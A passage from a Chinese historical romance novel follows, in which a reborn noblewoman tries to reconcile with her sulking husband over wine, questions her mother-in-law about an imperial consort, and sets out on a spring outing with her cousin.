沈欢颜进了房便趴在床边的矮几上,心中暗忖今日算是搞砸了,也不知哪又惹了他不高兴。
还有正事要问呢……
晚风从半敞的窗子里溜进来,却吹不散屋中的烦闷,她眼睫低垂,直直看着那案上还未收入箱笼的针衣。
皱着眉暗暗想着他到底是在气她未打招呼就在院里胡乱施针,还是在气她没打招呼就同他大哥胡乱说话……
可他们也没说什么不该说的,只是寒暄而已。
“娘子,”晴茵从房外进来,“您这都趴了多久了,仔细胳膊麻。”
沈欢颜听她这么一说抬了抬膊,“嘶……还真麻了。”
复又想起什么,眼睛瞪得溜圆,僵着胳膊急急冲晴茵朝门外方向递了个眼色:“那边……有动静吗?”
晴茵知道她家娘子指的是二爷方才进去的书房,抿嘴笑道:“您何不自己去看看?”
沈欢颜瞪她,又道:“送去的餐点也未用?”
晴茵摇摇头,说李瑞说的,二爷气着呢,不让任何人进。
沈欢颜叹了口气,这叫什么事啊,跟孩子似的,还得哄……
她无奈站起身,叫晴茵备食盒,“再把前两日看账时从清风楼带的酒也装上一坛。”
晴茵连忙应了。
不一会儿,沈欢颜提了食盒走到书房门前,轻轻叩了两下,里头没人应。
李瑞眼头活,知道自家主子其实就是在等夫人过来,自然也不拦着。
沈欢颜想了想,干脆自己推开了门。
书房比她想的还要静,隐约飘着股墨香,案上推着书卷,谢清墨就在那案后坐着,灯台里的火苗子一窜一窜的,将他的影子拉长。
“出去。”
谢清墨头也未抬,以为是李瑞。
“二郎,是我。”沈欢颜走了几步,将食盒放在窗边的矮几上。
矮几旁的窗子开着,正对着后院的老梨树,一阵子风掠过,满院梨花香。沈欢颜把窗子又推开了些,好让月光也照进来。
一听是她,谢清墨的眉头皱得更紧了,手里攥着一卷书,忍了忍没对她说重话。
“我并无胃口,夫人请回。”
“别啊,好不容易旬休。月色又这样好,二郎不愿与妾身小酌两杯?”
沈欢颜不等他回答,便将食盒打开,白雾般的热气先扑了出来,瓷碗中的馄饨皮薄馅大,汤也清亮亮的,上面飘了几粒葱花与蛋丝。她又端出了几碟小菜,柳芽豆腐、醉螺丝、荠菜炒年糕、炸玉兰片……全是时令的味道。
最后端出的是那坛封泥新开的绿蚁新醅。冬藏春酿,此时正是风味绝佳的时候,可这酒入口甜,后劲也大,极易醉人。
这也是今日她拿这酒的缘由——谢清墨酒量并不好。今日他对她这般抵触,如若让他清醒着,又怎能撬开他的嘴。
沈欢颜把酒倒进盏里,泛着青的酒液在红烛下轻轻晃动着。
“二郎,快来尝尝。”沈欢颜笑着唤他。
谢清墨却纹丝不动,只淡淡一瞥,又低下头看手中的书卷。
沈欢颜见他如此冷漠,干脆直接端上一杯酒款款走至他身侧。先抽了他手中的书卷,又举起酒盏,她将杯沿贴在他的唇边,可这人仍是无动于衷。
沈欢颜心一横,干脆端起盏提腕倒入了自己口中,下一秒便扭身一坐,靠进了他的怀里,伸手揽住他的脖颈,将酒液顺着唇缝渡到了他的口中。
“你……”谢清墨浑身一僵,着实没想到她会来这么一手。猝不及防被喂了一口酒,差点呛咳,喉结一动囫囵把酒咽下。
沈欢颜无辜地眨眨眼:“二郎,清风楼新开坛的绿蚁新醅,滋味如何?”
谢清墨蹙着眉瞪她。一时不知是要推开还是该质问,“你……”他开口,声音哑的不像话。
沈欢颜却展颜一笑,复又在他唇上一啄,仰起脸撒娇到:“二郎是想说这酒好喝?那我下回差人去清风楼多搬几坛来。”
谢清墨算是拿她没办法。方才还推他,这会儿倒又自己贴上来了?
他板着脸,惩罚似的掐着她腰间的软肉沉声道:“下去。”
她不动。
他也不再吭声,二人就这样僵着。
不一会儿沈欢颜便察觉不大对劲,裙底下越来越硌得慌,她转头看他,只见他喉结微动,耳根也染上一丝不合时宜的薄红。
“你……”她脸腾地烧起来,慌着要起身,腰身却被一只手倏地收紧,生生按了回去。这下贴得更紧了。
“不是胆子很大?”
他的嗓音哑的厉害,似也在强忍着。片刻,他将脸埋在她颈侧,热气灼人,同他那处一样,隔着衣袍烫的惊人。
沈欢颜再也不动了,也不敢再看他。
半晌,只听他低低笑了一声,在她腰侧胡作非为的那只手也渐渐松了劲:“回去,趁我还没改主意。”
直至她的脚步声消失在门外,谢清墨才仰头靠在椅背上,缓缓吐出一口气。
*
这一夜,谢清墨仍是没有回房,沈欢颜独自懊恼。自己也不知在怕什么,简直是落荒而逃。也是可惜了那一桌子好菜。
清早一起,她便要去国公夫人那里请安。既然谢清墨那里下不了手,便从别处问罢。
沈欢颜敛衽踏入正房,朝榻上端坐的国公夫人盈盈一福:“给母亲请安。”
王氏面上浮起慈笑:“方才我还说呢,墨儿昨日回来也不见来我院子里看看。”
“二郎昨日读书到很晚,还没起,儿媳今晨醒得早些,便先过来了。”沈欢颜接过丫鬟手里的茶盏,亲自奉上:“母
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亲昨夜睡得可好?”
王氏接了茶,笑道:“自然比不过你们年轻的,觉浅,也没什么好不好的。”
王氏虽是个没主心骨的,可毕竟整日周旋在世家里头,眼头还是活泛的,今日一见便知沈欢颜有话要说。
“有什么事只管说便是,都是自家人,在我这也没那么多规矩。”王氏柔声道。
沈欢颜看婆母脸色如常,便也就直说了:“就是……我一闺中密友正在为襄王选妃一事筹备,她听闻这回皇后娘娘把这事交与了梁贵妃全权做主。我好友是家中庶女,也说不上什么话,想托我打听一下梁贵妃的性情与行事风格。”
王氏一顿,将茶盏搁下:“我竟不知,梁贵妃何时入了皇后娘娘的青眼。她啊,不是什么好对付的人,你只管劝你那好友罢,别往她身上指望了。关键还是得看能不能入襄王的眼。”
“母亲与梁贵妃是旧识?”这一层沈欢颜倒是没想到。
“小时候一同玩过罢了……”国公夫人使了眼色让丫鬟退下,又交代把门带上,才又继续说了。
“她是家中次女,入宫她本应是她长姐,那可是个妙人,家里人当娇花一样养着,可谁料刚及笄便死了,还是在自己荷塘里淹死的,梁贵妃这才得了入宫的机会。那时候,我身边人都在传,她姐姐是她害死的。”
国公夫人从来都是行止端庄,嫌少露出这等厌恶的神色,“别看她清清冷冷、与世无争的样子,实际上城府极深,也不知这回皇后娘娘怎么着了她的道,竟把事情交给她办。”
王氏重重叹了口气。任谁见了梁贵妃那对上对下两幅面孔,都喜欢不起来。
沈欢颜倒不怎么在意她姐姐的事,只把“清清冷冷”这四字听了进去。
倒是真如谢如意说得那般……
“我那日听祖母说,如意姐姐……也有意参选?”沈欢颜试探着发问。
房里忽然静了一瞬。
王氏眼中闪过一丝复杂的神色,片刻又叹了口气,“要不说人要靠命呢,如意那孩子命不好,想给自己找条出路,偏又不成。她倒是与那梁贵妃长相气质多有几分相似,只不过心眼不够,想来确实也不适合做皇家的媳妇,你祖母拦着也是对的。”
心眼……怕是足够的,沈欢颜想。
不过她倒真没想到,只与婆母聊了几句的功夫,便把想知道的全知道了。
昨日谢如意告诉了沈欢颜她的猜想:“襄王弄出选妃这事,为的就是见一见梁贵妃。梁贵妃外祖家祖籍襄阳,襄王早年便是被安顿在襄阳,年少时二人曾有青梅竹马的情谊。只是后来梁贵妃被接回京中,又入了宫,便再无联系。选妃之事,必然关系后宫,皇后近日又因西祀大典之事焦头烂额,必然是要让梁贵妃协理选妃之事的。”
谢如意又说:“襄王的每一任夫人,都神似梁贵妃。我与梁贵妃有六分相似,这便是我的筹码。”
“这些你都是从何得知的?”沈欢颜不相信她一介孤女竟能掌握到如此多的皇室秘辛。
“若我说,我所经历的,前世都已经历过一遍,你敢信吗?”谢如意直直看向她的眼。
沈欢颜猛然顿住。
片刻,她忽然嫣然一笑:“所以,这次不与我抢夫君了?”
这下,轮到谢如意灵魂出窍了……
27. 暴风骤雨
那日见了谢如意之后,沈欢颜确实魂不守舍了好些时候。可转念一想,一切好似都有预兆。
她本是张大人之女张雪薇,两世零落改名换姓,怎能偏生都用“如意”一名。可她又为何没有提前救下自己的父亲?沈欢颜摇头,千言万语只化为一句哀叹。
只听她道:“上一世谢家人因我而死,这一世谢京策寻到我时,我便知为时已晚,但我今生今世、来生来世都会记得这份恩情,豁出了这条贱命也当竭尽所能阻止一切重蹈覆辙,万万不会连累谢家。”
“你叫我如何信你?”
“我只说,前世谢家二郎从未背叛过你,我们除了互通血仇线索,从未有半分逾距。若你信他,便会信我。”
这话在沈欢颜心里落下了根,令她久久不能释怀的是,前世的自己,难道终究不过是在与自己较劲?
“欢儿?”
王氏见媳妇半晌未动,也不知在想什么。又忽的想起昨日丫鬟说他们小两口闹别扭都闹到府里人尽皆知了,寻思着作为长辈还是应关心一下。
“嗯?”沈欢颜猛然回神,赧然笑道:“母亲您唤我?”
“昨日,你和墨儿……没怎样吧?”王氏斟酌着开口。
“昨日……”
不想倒没什么,一想……沈欢颜小脸一红,昨日书房里的种种可真是能用伤风败俗来形容,真是污了那一屋子的清雅书香,她暗暗想着。
“母亲。”一个清冽男声的声音从门外传来。
沈欢颜抬头,耳根的红晕还未消。
只见谢清墨大步迈入屋内。瞧见她也在,淡淡瞥了一眼,便不着痕迹地移开了。
“好了,小两口哪有一直闹别扭的,墨儿你也不小了,总不至于和你媳妇置气。午后昌庆侯夫人约了我同游踏青,你们也随我一道去。听说梁潜他两口子也去,凌雪那孩子有喜了,你们正好去取取经。”
国公夫人难得果断一回。
午后便遣人过来催促他们换上出游的衣裳,任他们找理由推脱都不行。
出去撒欢沈欢颜自是高兴的,可同谢清墨一起去……这还真是头一次。
她先自己找了几件艳色的裙子仔细挑选了一番。又想起谢清墨大多数衣服仍在这房里。
他怕是看她在这,不愿意进来。
谢清墨皮肤白,本来就是穿艳色的年纪,却整日只着些素色衣袍,真是无趣的很。
她自着主张在柜里找了她从未见他穿过的绯色春衫,料子上好,还暗绣了竹叶,应是婚前婆母给他做的。
沈欢颜拿了衣裳去了书房。
见谢清墨仍在伏案看卷,一点也没有着急的意思。
沈欢颜一见这案子便又想起昨日的荒唐事,连忙清了清嗓子开口道:“母亲又着人来催了,我给你拿了一身衣裳送来。”
谢清墨没有抬头,只道:“你去吧,就说我有事要忙,她一会儿急了便不会等我了。”
“当真?”沈欢颜声音没控住猛然一扬,倒是引的谢清墨抬头看她。
宋凌舒方才叫人捎了消息说她也要随母亲同去,她们姐妹二人许久未见,总有些闺中私房话。谢清墨若不去,她便不用顾忌他,会更加自在些。
“夫人原来不愿与为夫同行。”他放下书卷,环臂往后一靠,挑眉看她,“既然如此……”
谢清墨站起身,轻笑道:“现在我又想去了,这可如何是好?”
他走近,低头在她耳边轻念了句:“有劳夫人了。”
沈欢颜正迷茫,只见他朝着她双臂微长,一副等着她伺候穿衣的模样。
“你……”
“怎么,”他嗤笑道:“夫人又是不愿?”
谢清墨往前又进了一步,衣角几乎贴在了她的裙上,沈欢颜下意识想后退,却被他挡在自己腰后的手拦住,她往前一栽,头顶向上抬时撞到了他的下颌,沈欢颜疼得咧嘴,“嘶……”
谢清墨却连眉头也没有皱一下。
他抬手捏住她的下巴,想到昨日她对着大哥那灵动粲然的眉眼,又低头看她面对自己时警惕防备的眼神,心下一沉,冷冷道:“沈欢颜,你能嫁我,是困于时局的身不由己。我要娶你,是我贪心使然、咎由自取。我也从未计较你对我是否有一分真心,但你今日既已入了我府门,心我管不了,可人……”
他将她的下巴又向上抬了几分,被迫她看向他的眼,“你再是不愿……也终究是我的。”
沈欢颜挣不开他的手,只能慌忙错开凌乱的眼,又忽然想到那日两人在浴桶里没继续完的事……难道他还在因生孩子这事生气?
“二郎,若你……我……”她对上他漆黑的眼,竟有些犹疑。
她咬了咬牙,硬着头皮开口道:“我是说,若你想早些传宗接代,我……我能接受你纳妾。”
说完便阖上眼,不敢看他。可料想中他心绪上的狂风暴雨并未落下。
谢清墨看了她半晌,缓缓松开了禁锢她的手。
似是再无寄托般颓然笑了,“我想纳妾时自然会纳,不劳夫人费心。”他接过她手中的衣袍,随手扔在了不远处的榻上。
“夫人请回罢,母亲那边我会差人去说。”谢清墨转身不再看她,“我今日申时进宫,过两日我会向太子殿下与詹事告假离京备考,不日便要启程。”
“不在京城?”
“去书院。”谢清墨垂下眼,嘴角扯了扯,“如此,夫人便可许久不必见我了。”
她看不见他的表情,却莫名觉得他背影萧瑟。
“那我这两日在家中替二郎收拾行李,待启程时装上。”沈欢颜连忙说。
“不必劳烦夫人,这些琐事自有人替我安排妥当。你且先去吧,别让母亲他们等着急了。”
沈欢颜自是无话,福了福身退下了。
*
春光透着帘子漏进来一缕,道旁桃花开得正好。
她与婆母同坐一车,王氏见她心事重重的,便知小夫妻还未和好,“墨儿打小便这样,同他父亲一样,平日里脾气是好的,但执拗起来,也是几头牛也拉不回的。”
沈欢颜点点头,扯出了个不怎么好看的笑:“劳母亲费心了。”
沈欢颜这一路都在想谢清墨最后说的那些话。就算要告假专心备考,以他的才学与门第,名家多愿指点,自是可以留在京城的。可谢清墨偏要离京,不难联想到是否与她有关。
仔细想,自己是否多少有点不识好歹了。
那日与谢如意话说那份上,已是前世故人今朝见,无需多言已了然。凡尘旧事滚滚,她也在她口中得知:自己眼中那个前世负她负得彻底的夫君,在别人眼里竟是一个被夫人莫名冷落多年的可怜虫。
沈欢颜想起那时谢清
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墨对于外室的传言也曾向她解释过的,她也知道这如意娘子是公爹旧友的遗孤。
可她偏不信他。
“我与应姑娘清清白白,那宅子里也绝非她一人,只是查父兄旧案的一个据点,给外人看的一个幌子。”
“我只信我亲眼见的。”沈欢颜那时对他仅剩冷言冷语。
再说早晨从母亲屋出来后,沈欢颜去了老夫人那屋,周旋了几个来回,老夫人终于信她那一通说辞:“如意姐姐那跛脚连梁贵妃那关都过不了,又怎能入得了王爷的眼。名帖递上去咱们也不损失什么,让她因此知难而退,日后在祖母面前岂不是能更乖顺些?”午膳前,老夫人也终于点了头。
想到这些,沈欢颜不由叹气。
连谢如意都在好好筹谋前路,如今的自己,倒像是个毫无目的的无头苍蝇。前世短暂的一生——自己苦心经营又自以为是的一生,好似全是在为一些虚无缥缈汲汲营营,没一件事做对,也没一件事做好。得了重活的机会,想做的事却也一件没做成,又浑浑噩噩入了这后宅,将本可以好好经营的夫妻关系,搞成一团乱麻。
她到底在做什么……
马车摇摇晃晃,让人昏昏欲睡。很久之后,马车停了。
雨明池是一处皇家园林,每年春天都会对外开放,昌庆侯府今年将要添丁,侯夫人早早叫人搭了看棚,约了世家夫人娘子们在这里赏花小聚,也让自家儿媳出来透透气、解解闷。
宋凌舒也跟随着母亲过来了,远远瞧见卫国公府的马车停下。先是姨母,再下来的便是欢儿了,宋凌舒一个健步,赶忙飞奔过去抱住,就差在她脸颊上亲上一口了。
“大小姐你注意点,这么多人看着呢。”沈欢颜小声提醒。
“那有什么的,谁不爱抱软软娇娇的美人呢。”宋凌舒又搂搂她的腰,“让我量量,我二表哥把我欢儿养胖了没。”
沈欢颜见她这么口无遮拦,忙拉着她去了马车侧边,“可别说了。我是不妨事,可你将来还要嫁人的,让这些夫人们听了去,谁还敢让家中郎君娶你啊。”
“嫁人?我才不嫁,嫁人有什么好的。”宋凌舒惯是快言快语,“不过,嫁我二表哥确实不错,就图他那张脸,那身段……”
“我的祖奶奶,你可别说了!”沈欢颜涨红着脸去捂她的嘴。
“好了好了,不逗你了。”宋凌舒扯开沈欢颜捂着自己的手,正色道:“你和我仔细说说,我二表哥对你怎样?”
他们成婚前一日,沈欢颜收到宋凌舒的来信,说她姑太婆去世了,父亲嘱咐他们家眷无必要不出门,更不便参加喜宴。宋凌舒今日好不容易出来透透气,也只着了素衣。
沈欢颜看着好友关切的眼神,心虚地张不开嘴。
宋凌舒见她犹豫,便误会了,旋即皱起了眉,低声道:“我二表哥是不是欺负你了!”
“这倒不是……”
“你别替他遮掩,我是知道他的,平日里正人君子模样,其实一肚子坏主意,小时候他把先生官袍泼了墨,都嫁祸给我大表哥。”
沈欢颜“噗嗤”笑了出来,“竟然还有这事。不过,倒不是他欺负我,而是……我欺负了他。”沈欢颜越说越没底气。
“什么?”宋凌舒眯起眼,开始对她的欢儿另眼相看。继而得出结论:
“那他……还真是把你当眼珠子般疼了。”